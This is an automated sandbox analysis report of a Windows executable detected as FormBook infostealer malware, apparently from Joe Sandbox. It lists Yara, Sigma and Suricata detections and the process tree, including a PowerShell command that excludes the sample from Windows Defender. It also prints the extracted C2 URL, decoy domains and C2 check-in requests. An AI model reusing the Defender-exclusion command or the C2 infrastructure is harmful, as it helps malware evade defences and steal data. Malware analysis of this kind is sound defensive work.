Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
hbwebdownload - MT 103.exe

Overview

General Information

Sample name:hbwebdownload - MT 103.exe
Analysis ID:1523376
MD5:42d6700f5272596c025308992d4fea37
SHA1:09db89002aa3793dfbf04ace1f62eeef11086415
SHA256:3e26ebdfbd46dadcbf46c199970362689fa6ca0e0abb65ec703ca21d08b7269f
Tags:exeuser-lowmal3
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AntiVM3
Yara detected FormBook
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
C2 URLs / IPs found in malware configuration
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • hbwebdownload - MT 103.exe (PID: 1992 cmdline: "C:\Users\user\Desktop\hbwebdownload - MT 103.exe" MD5: 42D6700F5272596C025308992D4FEA37)
    • powershell.exe (PID: 2848 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 6304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • hbwebdownload - MT 103.exe (PID: 3668 cmdline: "C:\Users\user\Desktop\hbwebdownload - MT 103.exe" MD5: 42D6700F5272596C025308992D4FEA37)
      • explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
        • colorcpl.exe (PID: 1412 cmdline: "C:\Windows\SysWOW64\colorcpl.exe" MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D)
          • cmd.exe (PID: 1268 cmdline: /c del "C:\Users\user\Desktop\hbwebdownload - MT 103.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 6468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.ridges-freezers-56090.bond/c24t/"], "decoy": ["ealthbridgeccs.online", "ngelicais.art", "uktuksu1.sbs", "fapoker.asia", "hecreature.tech", "orenzoplaybest14.xyz", "op-smartphones-deal.today", "delark.click", "7395.asia", "otnews.cfd", "j16e.xyz", "oko.events", "fscxb.top", "roudtxliberals.vote", "asas-br.bond", "ourhealthyourlife.shop", "fbpd.top", "j9u9.xyz", "uijiuw.top", "aming-chair-37588.bond", "uaweiharmony.top", "458881233.men", "ewancash.boats", "mss-rb2.net", "472.top", "yhomeshop.online", "j88.travel", "02s-pest-control-us-ze.fun", "oinl.club", "ouseware.today", "1385.net", "eviewmadu.top", "khizmetlergirisyapzzz2024.net", "dcnn.net", "aketrtpmvpslot88.info", "hoys.club", "ealerslot.net", "consuyt.xyz", "ilw.legal", "aithful.events", "est-life-insurance-2507.today", "rvinsadeli.dev", "sx9u.shop", "23fd595ig.autos", "yrhbt.shop", "commerce-74302.bond", "lc-driving-school.net", "7y1ps.shop", "earing-tests-69481.bond", "amilablackwell.online", "venir-bienne.info", "024tengxun396.buzz", "ocoani.shop", "arage-door-repair-1.today", "entista-esp.today", "vto.stream", "loud-computing-intl-3455364.fyi", "9790.club", "us-inbox-messages.online", "aser-hair-removal-90284.bond", "etangkhap99.lol", "leaningjobs-cz.today", "nline-courses-classes-lv-1.bond", "essislotgoal14.xyz"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
      • 0x1cb90:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1c8fa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
      • 0x18819:$sqlite3step: 68 34 1C 7B E1
      • 0x1892c:$sqlite3step: 68 34 1C 7B E1
      • 0x18848:$sqlite3text: 68 38 2A 90 C5
      • 0x1896d:$sqlite3text: 68 38 2A 90 C5
      • 0x1885b:$sqlite3blob: 68 53 D8 7F 8C
      • 0x18983:$sqlite3blob: 68 53 D8 7F 8C
      Click to see the 24 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
          • 0x1cb90:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1c8fa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
          • 0x18819:$sqlite3step: 68 34 1C 7B E1
          • 0x1892c:$sqlite3step: 68 34 1C 7B E1
          • 0x18848:$sqlite3text: 68 38 2A 90 C5
          • 0x1896d:$sqlite3text: 68 38 2A 90 C5
          • 0x1885b:$sqlite3blob: 68 53 D8 7F 8C
          • 0x18983:$sqlite3blob: 68 53 D8 7F 8C
          Click to see the 5 entries

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", ParentImage: C:\Users\user\Desktop\hbwebdownload - MT 103.exe, ParentProcessId: 1992, ParentProcessName: hbwebdownload - MT 103.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", ProcessId: 2848, ProcessName: powershell.exe
          Sigma detected: Powershell Defender Exclusion
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", ParentImage: C:\Users\user\Desktop\hbwebdownload - MT 103.exe, ParentProcessId: 1992, ParentProcessName: hbwebdownload - MT 103.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", ProcessId: 2848, ProcessName: powershell.exe
          Sigma detected: Non Interactive PowerShell Process Spawned
          Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", ParentImage: C:\Users\user\Desktop\hbwebdownload - MT 103.exe, ParentProcessId: 1992, ParentProcessName: hbwebdownload - MT 103.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe", ProcessId: 2848, ProcessName: powershell.exe

          Suricata Signatures

          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2024-10-01T14:47:25.173197+020020314531Malware Command and Control Activity Detected192.168.2.549717185.26.122.7080TCP
          2024-10-01T14:48:05.555596+020020314531Malware Command and Control Activity Detected192.168.2.549718188.114.96.380TCP
          2024-10-01T14:49:49.655283+020020314531Malware Command and Control Activity Detected192.168.2.549719103.59.102.5980TCP

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Found malware configuration
          Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.ridges-freezers-56090.bond/c24t/"], "decoy": ["ealthbridgeccs.online", "ngelicais.art", "uktuksu1.sbs", "fapoker.asia", "hecreature.tech", "orenzoplaybest14.xyz", "op-smartphones-deal.today", "delark.click", "7395.asia", "otnews.cfd", "j16e.xyz", "oko.events", "fscxb.top", "roudtxliberals.vote", "asas-br.bond", "ourhealthyourlife.shop", "fbpd.top", "j9u9.xyz", "uijiuw.top", "aming-chair-37588.bond", "uaweiharmony.top", "458881233.men", "ewancash.boats", "mss-rb2.net", "472.top", "yhomeshop.online", "j88.travel", "02s-pest-control-us-ze.fun", "oinl.club", "ouseware.today", "1385.net", "eviewmadu.top", "khizmetlergirisyapzzz2024.net", "dcnn.net", "aketrtpmvpslot88.info", "hoys.club", "ealerslot.net", "consuyt.xyz", "ilw.legal", "aithful.events", "est-life-insurance-2507.today", "rvinsadeli.dev", "sx9u.shop", "23fd595ig.autos", "yrhbt.shop", "commerce-74302.bond", "lc-driving-school.net", "7y1ps.shop", "earing-tests-69481.bond", "amilablackwell.online", "venir-bienne.info", "024tengxun396.buzz", "ocoani.shop", "arage-door-repair-1.today", "entista-esp.today", "vto.stream", "loud-computing-intl-3455364.fyi", "9790.club", "us-inbox-messages.online", "aser-hair-removal-90284.bond", "etangkhap99.lol", "leaningjobs-cz.today", "nline-courses-classes-lv-1.bond", "essislotgoal14.xyz"]}
          Multi AV Scanner detection for submitted file
          Source: hbwebdownload - MT 103.exeReversingLabs: Detection: 34%
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.hbwebdownload - MT 103.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
          Machine Learning detection for sample
          Source: hbwebdownload - MT 103.exeJoe Sandbox ML: detected
          Source: hbwebdownload - MT 103.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: hbwebdownload - MT 103.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Binary string: colorcpl.pdbGCTL source: hbwebdownload - MT 103.exe, 00000004.00000002.2146139487.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, hbwebdownload - MT 103.exe, 00000004.00000002.2141231992.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4524079888.00000000008E0000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: colorcpl.pdb source: hbwebdownload - MT 103.exe, 00000004.00000002.2146139487.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, hbwebdownload - MT 103.exe, 00000004.00000002.2141231992.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, colorcpl.exe, 00000007.00000002.4524079888.00000000008E0000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: QZ.pdb source: hbwebdownload - MT 103.exe
          Source: Binary string: wntdll.pdbUGP source: hbwebdownload - MT 103.exe, 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000003.2145212271.00000000045FA000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000003.2141228716.000000000444A000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: hbwebdownload - MT 103.exe, hbwebdownload - MT 103.exe, 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, colorcpl.exe, 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000003.2145212271.00000000045FA000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000003.2141228716.000000000444A000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: QZ.pdbSHA256 source: hbwebdownload - MT 103.exe
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4x nop then jmp 07567443h0_2_07566B49

          Networking

          barindex
          Suricata IDS alerts for network traffic
          Source: Network trafficSuricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.5:49719 -> 103.59.102.59:80
          Source: Network trafficSuricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.5:49719 -> 103.59.102.59:80
          Source: Network trafficSuricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.5:49719 -> 103.59.102.59:80
          Source: Network trafficSuricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.5:49717 -> 185.26.122.70:80
          Source: Network trafficSuricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.5:49717 -> 185.26.122.70:80
          Source: Network trafficSuricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.5:49717 -> 185.26.122.70:80
          Source: Network trafficSuricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.5:49718 -> 188.114.96.3:80
          Source: Network trafficSuricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.5:49718 -> 188.114.96.3:80
          Source: Network trafficSuricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.5:49718 -> 188.114.96.3:80
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 185.26.122.70 80Jump to behavior
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: www.ridges-freezers-56090.bond/c24t/
          Performs DNS queries to domains with low reputation
          Source: DNS query: www.orenzoplaybest14.xyz
          Source: global trafficHTTP traffic detected: GET /c24t/?Edg8Tp=z+nAhoA8drw9p0SUk4F23aiKXvdwmiYumykkUl5XSRWt3Wct2pK+VZvxUbO0lNj685To&iL30=-ZRd9JBXfLe8q2J HTTP/1.1Host: www.oko.eventsConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J HTTP/1.1Host: www.j88.travelConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewIP Address: 188.114.96.3 188.114.96.3
          Source: Joe Sandbox ViewIP Address: 188.114.96.3 188.114.96.3
          Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
          Source: Joe Sandbox ViewASN Name: HOSTLANDRU HOSTLANDRU
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: C:\Windows\explorer.exeCode function: 6_2_0E7E1F82 getaddrinfo,setsockopt,recv,6_2_0E7E1F82
          Source: global trafficHTTP traffic detected: GET /c24t/?Edg8Tp=z+nAhoA8drw9p0SUk4F23aiKXvdwmiYumykkUl5XSRWt3Wct2pK+VZvxUbO0lNj685To&iL30=-ZRd9JBXfLe8q2J HTTP/1.1Host: www.oko.eventsConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J HTTP/1.1Host: www.j88.travelConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficDNS traffic detected: DNS query: www.est-life-insurance-2507.today
          Source: global trafficDNS traffic detected: DNS query: www.etangkhap99.lol
          Source: global trafficDNS traffic detected: DNS query: www.oko.events
          Source: global trafficDNS traffic detected: DNS query: www.orenzoplaybest14.xyz
          Source: global trafficDNS traffic detected: DNS query: www.j88.travel
          Source: global trafficDNS traffic detected: DNS query: www.ridges-freezers-56090.bond
          Source: global trafficDNS traffic detected: DNS query: www.vto.stream
          Source: global trafficDNS traffic detected: DNS query: www.fbpd.top
          Source: global trafficDNS traffic detected: DNS query: www.1385.net
          Source: global trafficDNS traffic detected: DNS query: www.nline-courses-classes-lv-1.bond
          Source: global trafficDNS traffic detected: DNS query: www.ourhealthyourlife.shop
          Source: explorer.exe, 00000006.00000000.2087085209.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009AF9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
          Source: explorer.exe, 00000006.00000002.4542330951.00000000108CF000.00000004.80000000.00040000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4524605308.0000000004542000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525657020.0000000004CEF000.00000004.10000000.00040000.00000000.sdmp, hbwebdownload - MT 103.exeString found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
          Source: explorer.exe, 00000006.00000002.4542330951.00000000108CF000.00000004.80000000.00040000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4524605308.0000000004542000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525657020.0000000004CEF000.00000004.10000000.00040000.00000000.sdmp, hbwebdownload - MT 103.exeString found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
          Source: explorer.exe, 00000006.00000002.4523936040.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2081212306.0000000000F13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.v
          Source: explorer.exe, 00000006.00000000.2087085209.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009AF9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
          Source: explorer.exe, 00000006.00000000.2087085209.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009AF9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
          Source: explorer.exe, 00000006.00000002.4542330951.00000000108CF000.00000004.80000000.00040000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4524605308.0000000004542000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525657020.0000000004CEF000.00000004.10000000.00040000.00000000.sdmp, hbwebdownload - MT 103.exeString found in binary or memory: http://ocsp.comodoca.com0
          Source: explorer.exe, 00000006.00000000.2087085209.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009AF9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
          Source: explorer.exe, 00000006.00000002.4535238985.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.00000000099C0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
          Source: explorer.exe, 00000006.00000002.4533022181.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000002.4534729011.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000002.4534779593.0000000008890000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.micro
          Source: hbwebdownload - MT 103.exe, 00000000.00000002.2091944473.0000000003035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.1385.net
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.1385.net/c24t/
